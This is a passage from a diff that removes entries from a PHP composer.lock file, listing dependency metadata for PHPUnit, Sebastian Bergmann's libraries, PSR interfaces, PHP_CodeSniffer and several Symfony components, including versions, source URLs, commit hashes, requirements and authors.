}, - "require": { - "doctrine/instantiator": "^1.2", - "php": "^7.2", - "phpdocumentor/reflection-docblock": "^5.0", - "sebastian/comparator": "^3.0 || ^4.0", - "sebastian/recursion-context": "^3.0 || ^4.0" - }, - "require-dev": { - "phpspec/phpspec": "^6.0", - "phpunit/phpunit": "^8.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.11.x-dev" - } - }, - "autoload": { - "psr-4": { - "Prophecy\\": "src/Prophecy" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Konstantin Kudryashov", - "email": "ever.zet@gmail.com", - "homepage": "http://everzet.com" - }, - { - "name": "Marcello Duarte", - "email": "marcello.duarte@gmail.com" - } - ], - "description": "Highly opinionated mocking framework for PHP 5.3+", - "homepage": "https://github.com/phpspec/prophecy", - "keywords": [ - "Double", - "Dummy", - "fake", - "mock", - "spy", - "stub" - ], - "time": "2020-07-08T12:44:21+00:00" - }, - { - "name": "phpunit/php-code-coverage", - "version": "7.0.10", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "f1884187926fbb755a9aaf0b3836ad3165b478bf" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/f1884187926fbb755a9aaf0b3836ad3165b478bf", - "reference": "f1884187926fbb755a9aaf0b3836ad3165b478bf", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-xmlwriter": "*", - "php": "^7.2", - "phpunit/php-file-iterator": "^2.0.2", - "phpunit/php-text-template": "^1.2.1", - "phpunit/php-token-stream": "^3.1.1", - "sebastian/code-unit-reverse-lookup": "^1.0.1", - "sebastian/environment": "^4.2.2", - "sebastian/version": "^2.0.1", - "theseer/tokenizer": "^1.1.3" - }, - "require-dev": { - "phpunit/phpunit": "^8.2.2" - }, - "suggest": { - "ext-xdebug": "^2.7.2" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "7.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", - "homepage": "https://github.com/sebastianbergmann/php-code-coverage", - "keywords": [ - "coverage", - "testing", - "xunit" - ], - "time": "2019-11-20T13:55:58+00:00" - }, - { - "name": "phpunit/php-file-iterator", - "version": "2.0.2", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-file-iterator.git", - "reference": "050bedf145a257b1ff02746c31894800e5122946" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/050bedf145a257b1ff02746c31894800e5122946", - "reference": "050bedf145a257b1ff02746c31894800e5122946", - "shasum": "" - }, - "require": { - "php": "^7.1" - }, - "require-dev": { - "phpunit/phpunit": "^7.1" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "FilterIterator implementation that filters files based on a list of suffixes.", - "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", - "keywords": [ - "filesystem", - "iterator" - ], - "time": "2018-09-13T20:33:42+00:00" - }, - { - "name": "phpunit/php-text-template", - "version": "1.2.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-text-template.git", - "reference": "31f8b717e51d9a2afca6c9f046f5d69fc27c8686" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/31f8b717e51d9a2afca6c9f046f5d69fc27c8686", - "reference": "31f8b717e51d9a2afca6c9f046f5d69fc27c8686", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Simple template engine.", - "homepage": "https://github.com/sebastianbergmann/php-text-template/", - "keywords": [ - "template" - ], - "time": "2015-06-21T13:50:34+00:00" - }, - { - "name": "phpunit/php-timer", - "version": "2.1.2", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-timer.git", - "reference": "1038454804406b0b5f5f520358e78c1c2f71501e" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/1038454804406b0b5f5f520358e78c1c2f71501e", - "reference": "1038454804406b0b5f5f520358e78c1c2f71501e", - "shasum": "" - }, - "require": { - "php": "^7.1" - }, - "require-dev": { - "phpunit/phpunit": "^7.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.1-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Utility class for timing", - "homepage": "https://github.com/sebastianbergmann/php-timer/", - "keywords": [ - "timer" - ], - "time": "2019-06-07T04:22:29+00:00" - }, - { - "name": "phpunit/php-token-stream", - "version": "3.1.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-token-stream.git", - "reference": "995192df77f63a59e47f025390d2d1fdf8f425ff" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-token-stream/zipball/995192df77f63a59e47f025390d2d1fdf8f425ff", - "reference": "995192df77f63a59e47f025390d2d1fdf8f425ff", - "shasum": "" - }, - "require": { - "ext-tokenizer": "*", - "php": "^7.1" - }, - "require-dev": { - "phpunit/phpunit": "^7.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.1-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Wrapper around PHP's tokenizer extension.", - "homepage": "https://github.com/sebastianbergmann/php-token-stream/", - "keywords": [ - "tokenizer" - ], - "abandoned": true, - "time": "2019-09-17T06:23:10+00:00" - }, - { - "name": "phpunit/phpunit", - "version": "8.5.8", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "34c18baa6a44f1d1fbf0338907139e9dce95b997" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/34c18baa6a44f1d1fbf0338907139e9dce95b997", - "reference": "34c18baa6a44f1d1fbf0338907139e9dce95b997", - "shasum": "" - }, - "require": { - "doctrine/instantiator": "^1.2.0", - "ext-dom": "*", - "ext-json": "*", - "ext-libxml": "*", - "ext-mbstring": "*", - "ext-xml": "*", - "ext-xmlwriter": "*", - "myclabs/deep-copy": "^1.9.1", - "phar-io/manifest": "^1.0.3", - "phar-io/version": "^2.0.1", - "php": "^7.2", - "phpspec/prophecy": "^1.8.1", - "phpunit/php-code-coverage": "^7.0.7", - "phpunit/php-file-iterator": "^2.0.2", - "phpunit/php-text-template": "^1.2.1", - "phpunit/php-timer": "^2.1.2", - "sebastian/comparator": "^3.0.2", - "sebastian/diff": "^3.0.2", - "sebastian/environment": "^4.2.2", - "sebastian/exporter": "^3.1.1", - "sebastian/global-state": "^3.0.0", - "sebastian/object-enumerator": "^3.0.3", - "sebastian/resource-operations": "^2.0.1", - "sebastian/type": "^1.1.3", - "sebastian/version": "^2.0.1" - }, - "require-dev": { - "ext-pdo": "*" - }, - "suggest": { - "ext-soap": "*", - "ext-xdebug": "*", - "phpunit/php-invoker": "^2.0.0" - }, - "bin": [ - "phpunit" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "8.5-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "The PHP Unit Testing framework.", - "homepage": "https://phpunit.de/", - "keywords": [ - "phpunit", - "testing", - "xunit" - ], - "funding": [ - { - "url": "https://phpunit.de/donate.html", - "type": "custom" - }, - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-06-22T07:06:58+00:00" - }, - { - "name": "psr/container", - "version": "1.0.0", - "source": { - "type": "git", - "url": "https://github.com/php-fig/container.git", - "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f", - "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f", - "shasum": "" - }, - "require": { - "php": ">=5.3.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - }, - "autoload": { - "psr-4": { - "Psr\\Container\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" - } - ], - "description": "Common Container Interface (PHP FIG PSR-11)", - "homepage": "https://github.com/php-fig/container", - "keywords": [ - "PSR-11", - "container", - "container-interface", - "container-interop", - "psr" - ], - "time": "2017-02-14T16:28:37+00:00" - }, - { - "name": "psr/log", - "version": "1.1.3", - "source": { - "type": "git", - "url": "https://github.com/php-fig/log.git", - "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc", - "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc", - "shasum": "" - }, - "require": { - "php": ">=5.3.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1.x-dev" - } - }, - "autoload": { - "psr-4": { - "Psr\\Log\\": "Psr/Log/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" - } - ], - "description": "Common interface for logging libraries", - "homepage": "https://github.com/php-fig/log", - "keywords": [ - "log", - "psr", - "psr-3" - ], - "time": "2020-03-23T09:12:05+00:00" - }, - { - "name": "sebastian/code-unit-reverse-lookup", - "version": "1.0.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", - "reference": "4419fcdb5eabb9caa61a27c7a1db532a6b55dd18" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/4419fcdb5eabb9caa61a27c7a1db532a6b55dd18", - "reference": "4419fcdb5eabb9caa61a27c7a1db532a6b55dd18", - "shasum": "" - }, - "require": { - "php": "^5.6 || ^7.0" - }, - "require-dev": { - "phpunit/phpunit": "^5.7 || ^6.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Looks up which function or method a line of code belongs to", - "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", - "time": "2017-03-04T06:30:41+00:00" - }, - { - "name": "sebastian/comparator", - "version": "3.0.2", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/comparator.git", - "reference": "5de4fc177adf9bce8df98d8d141a7559d7ccf6da" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/5de4fc177adf9bce8df98d8d141a7559d7ccf6da", - "reference": "5de4fc177adf9bce8df98d8d141a7559d7ccf6da", - "shasum": "" - }, - "require": { - "php": "^7.1", - "sebastian/diff": "^3.0", - "sebastian/exporter": "^3.1" - }, - "require-dev": { - "phpunit/phpunit": "^7.1" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@2bepublished.at" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides the functionality to compare PHP values for equality", - "homepage": "https://github.com/sebastianbergmann/comparator", - "keywords": [ - "comparator", - "compare", - "equality" - ], - "time": "2018-07-12T15:12:46+00:00" - }, - { - "name": "sebastian/diff", - "version": "3.0.2", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/diff.git", - "reference": "720fcc7e9b5cf384ea68d9d930d480907a0c1a29" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/720fcc7e9b5cf384ea68d9d930d480907a0c1a29", - "reference": "720fcc7e9b5cf384ea68d9d930d480907a0c1a29", - "shasum": "" - }, - "require": { - "php": "^7.1" - }, - "require-dev": { - "phpunit/phpunit": "^7.5 || ^8.0", - "symfony/process": "^2 || ^3.3 || ^4" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Kore Nordmann", - "email": "mail@kore-nordmann.de" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Diff implementation", - "homepage": "https://github.com/sebastianbergmann/diff", - "keywords": [ - "diff", - "udiff", - "unidiff", - "unified diff" - ], - "time": "2019-02-04T06:01:07+00:00" - }, - { - "name": "sebastian/environment", - "version": "4.2.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/environment.git", - "reference": "464c90d7bdf5ad4e8a6aea15c091fec0603d4368" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/464c90d7bdf5ad4e8a6aea15c091fec0603d4368", - "reference": "464c90d7bdf5ad4e8a6aea15c091fec0603d4368", - "shasum": "" - }, - "require": { - "php": "^7.1" - }, - "require-dev": { - "phpunit/phpunit": "^7.5" - }, - "suggest": { - "ext-posix": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.2-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides functionality to handle HHVM/PHP environments", - "homepage": "http://www.github.com/sebastianbergmann/environment", - "keywords": [ - "Xdebug", - "environment", - "hhvm" - ], - "time": "2019-11-20T08:46:58+00:00" - }, - { - "name": "sebastian/exporter", - "version": "3.1.2", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/exporter.git", - "reference": "68609e1261d215ea5b21b7987539cbfbe156ec3e" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/68609e1261d215ea5b21b7987539cbfbe156ec3e", - "reference": "68609e1261d215ea5b21b7987539cbfbe156ec3e", - "shasum": "" - }, - "require": { - "php": "^7.0", - "sebastian/recursion-context": "^3.0" - }, - "require-dev": { - "ext-mbstring": "*", - "phpunit/phpunit": "^6.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.1.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@gmail.com" - } - ], - "description": "Provides the functionality to export PHP variables for visualization", - "homepage": "http://www.github.com/sebastianbergmann/exporter", - "keywords": [ - "export", - "exporter" - ], - "time": "2019-09-14T09:02:43+00:00" - }, - { - "name": "sebastian/global-state", - "version": "3.0.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/global-state.git", - "reference": "edf8a461cf1d4005f19fb0b6b8b95a9f7fa0adc4" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/edf8a461cf1d4005f19fb0b6b8b95a9f7fa0adc4", - "reference": "edf8a461cf1d4005f19fb0b6b8b95a9f7fa0adc4", - "shasum": "" - }, - "require": { - "php": "^7.2", - "sebastian/object-reflector": "^1.1.1", - "sebastian/recursion-context": "^3.0" - }, - "require-dev": { - "ext-dom": "*", - "phpunit/phpunit": "^8.0" - }, - "suggest": { - "ext-uopz": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Snapshotting of global state", - "homepage": "http://www.github.com/sebastianbergmann/global-state", - "keywords": [ - "global state" - ], - "time": "2019-02-01T05:30:01+00:00" - }, - { - "name": "sebastian/object-enumerator", - "version": "3.0.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/object-enumerator.git", - "reference": "7cfd9e65d11ffb5af41198476395774d4c8a84c5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/7cfd9e65d11ffb5af41198476395774d4c8a84c5", - "reference": "7cfd9e65d11ffb5af41198476395774d4c8a84c5", - "shasum": "" - }, - "require": { - "php": "^7.0", - "sebastian/object-reflector": "^1.1.1", - "sebastian/recursion-context": "^3.0" - }, - "require-dev": { - "phpunit/phpunit": "^6.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Traverses array structures and object graphs to enumerate all referenced objects", - "homepage": "https://github.com/sebastianbergmann/object-enumerator/", - "time": "2017-08-03T12:35:26+00:00" - }, - { - "name": "sebastian/object-reflector", - "version": "1.1.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/object-reflector.git", - "reference": "773f97c67f28de00d397be301821b06708fca0be" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/773f97c67f28de00d397be301821b06708fca0be", - "reference": "773f97c67f28de00d397be301821b06708fca0be", - "shasum": "" - }, - "require": { - "php": "^7.0" - }, - "require-dev": { - "phpunit/phpunit": "^6.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Allows reflection of object attributes, including inherited and non-public ones", - "homepage": "https://github.com/sebastianbergmann/object-reflector/", - "time": "2017-03-29T09:07:27+00:00" - }, - { - "name": "sebastian/recursion-context", - "version": "3.0.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/recursion-context.git", - "reference": "5b0cd723502bac3b006cbf3dbf7a1e3fcefe4fa8" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/5b0cd723502bac3b006cbf3dbf7a1e3fcefe4fa8", - "reference": "5b0cd723502bac3b006cbf3dbf7a1e3fcefe4fa8", - "shasum": "" - }, - "require": { - "php": "^7.0" - }, - "require-dev": { - "phpunit/phpunit": "^6.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - } - ], - "description": "Provides functionality to recursively process PHP variables", - "homepage": "http://www.github.com/sebastianbergmann/recursion-context", - "time": "2017-03-03T06:23:57+00:00" - }, - { - "name": "sebastian/resource-operations", - "version": "2.0.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/resource-operations.git", - "reference": "4d7a795d35b889bf80a0cc04e08d77cedfa917a9" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/4d7a795d35b889bf80a0cc04e08d77cedfa917a9", - "reference": "4d7a795d35b889bf80a0cc04e08d77cedfa917a9", - "shasum": "" - }, - "require": { - "php": "^7.1" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides a list of PHP built-in functions that operate on resources", - "homepage": "https://www.github.com/sebastianbergmann/resource-operations", - "time": "2018-10-04T04:07:39+00:00" - }, - { - "name": "sebastian/type", - "version": "1.1.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/type.git", - "reference": "3aaaa15fa71d27650d62a948be022fe3b48541a3" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/3aaaa15fa71d27650d62a948be022fe3b48541a3", - "reference": "3aaaa15fa71d27650d62a948be022fe3b48541a3", - "shasum": "" - }, - "require": { - "php": "^7.2" - }, - "require-dev": { - "phpunit/phpunit": "^8.2" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Collection of value objects that represent the types of the PHP type system", - "homepage": "https://github.com/sebastianbergmann/type", - "time": "2019-07-02T08:10:15+00:00" - }, - { - "name": "sebastian/version", - "version": "2.0.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/version.git", - "reference": "99732be0ddb3361e16ad77b68ba41efc8e979019" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/99732be0ddb3361e16ad77b68ba41efc8e979019", - "reference": "99732be0ddb3361e16ad77b68ba41efc8e979019", - "shasum": "" - }, - "require": { - "php": ">=5.6" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library that helps with managing the version number of Git-hosted PHP projects", - "homepage": "https://github.com/sebastianbergmann/version", - "time": "2016-10-03T07:35:21+00:00" - }, - { - "name": "squizlabs/php_codesniffer", - "version": "3.5.6", - "source": { - "type": "git", - "url": "https://github.com/squizlabs/PHP_CodeSniffer.git", - "reference": "e97627871a7eab2f70e59166072a6b767d5834e0" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/squizlabs/PHP_CodeSniffer/zipball/e97627871a7eab2f70e59166072a6b767d5834e0", - "reference": "e97627871a7eab2f70e59166072a6b767d5834e0", - "shasum": "" - }, - "require": { - "ext-simplexml": "*", - "ext-tokenizer": "*", - "ext-xmlwriter": "*", - "php": ">=5.4.0" - }, - "require-dev": { - "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0" - }, - "bin": [ - "bin/phpcs", - "bin/phpcbf" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.x-dev" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Greg Sherwood", - "role": "lead" - } - ], - "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.", - "homepage": "https://github.com/squizlabs/PHP_CodeSniffer", - "keywords": [ - "phpcs", - "standards" - ], - "time": "2020-08-10T04:50:15+00:00" - }, - { - "name": "symfony/config", - "version": "v4.4.13", - "source": { - "type": "git", - "url": "https://github.com/symfony/config.git", - "reference": "043bf8652c307ebc23ce44047d215eec889d8850" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/config/zipball/043bf8652c307ebc23ce44047d215eec889d8850", - "reference": "043bf8652c307ebc23ce44047d215eec889d8850", - "shasum": "" - }, - "require": { - "php": ">=7.1.3", - "symfony/filesystem": "^3.4|^4.0|^5.0", - "symfony/polyfill-ctype": "~1.8" - }, - "conflict": { - "symfony/finder": "<3.4" - }, - "require-dev": { - "symfony/event-dispatcher": "^3.4|^4.0|^5.0", - "symfony/finder": "^3.4|^4.0|^5.0", - "symfony/messenger": "^4.1|^5.0", - "symfony/service-contracts": "^1.1|^2", - "symfony/yaml": "^3.4|^4.0|^5.0" - }, - "suggest": { - "symfony/yaml": "To use the yaml reference dumper" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.4-dev" - } - }, - "autoload": { - "psr-4": { - "Symfony\\Component\\Config\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony Config Component", - "homepage": "https://symfony.com", - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-08-10T07:27:51+00:00" - }, - { - "name": "symfony/dependency-injection", - "version": "v4.4.13", - "source": { - "type": "git", - "url": "https://github.com/symfony/dependency-injection.git", - "reference": "384c2601e5a6228d60b041911d63f010e0885ffb" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/dependency-injection/zipball/384c2601e5a6228d60b041911d63f010e0885ffb", - "reference": "384c2601e5a6228d60b041911d63f010e0885ffb", - "shasum": "" - }, - "require": { - "php": ">=7.1.3", - "psr/container": "^1.0", - "symfony/service-contracts": "^1.1.6|^2" - }, - "conflict": { - "symfony/config": "<4.3|>=5.0", - "symfony/finder": "<3.4", - "symfony/proxy-manager-bridge": "<3.4", - "symfony/yaml": "<3.4" - }, - "provide": { - "psr/container-implementation": "1.0", - "symfony/service-implementation": "1.0" - }, - "require-dev": { - "symfony/config": "^4.3", - "symfony/expression-language": "^3.4|^4.0|^5.0", - "symfony/yaml": "^3.4|^4.0|^5.0" - }, - "suggest": { - "symfony/config": "", - "symfony/expression-language": "For using expressions in service container configuration", - "symfony/finder": "For using double-star glob patterns or when GLOB_BRACE portability is required", - "symfony/proxy-manager-bridge": "Generate service proxies to lazy load them", - "symfony/yaml": "" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.4-dev" - } - }, - "autoload": { - "psr-4": { - "Symfony\\Component\\DependencyInjection\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony DependencyInjection Component", - "homepage": "https://symfony.com", - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-09-01T17:42:15+00:00" - }, - { - "name": "symfony/event-dispatcher", - "version": "v4.4.13", - "source": { - "type": "git", - "url": "https://github.com/symfony/event-dispatcher.git", - "reference": "3e8ea5ccddd00556b86d69d42f99f1061a704030" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/3e8ea5ccddd00556b86d69d42f99f1061a704030", - "reference": "3e8ea5ccddd00556b86d69d42f99f1061a704030", - "shasum": "" - }, - "require": { - "php": ">=7.1.3", - "symfony/event-dispatcher-contracts": "^1.1" - }, - "conflict": { - "symfony/dependency-injection": "<3.4" - }, - "provide": { - "psr/event-dispatcher-implementation": "1.0", - "symfony/event-dispatcher-implementation": "1.1" - }, - "require-dev": { - "psr/log": 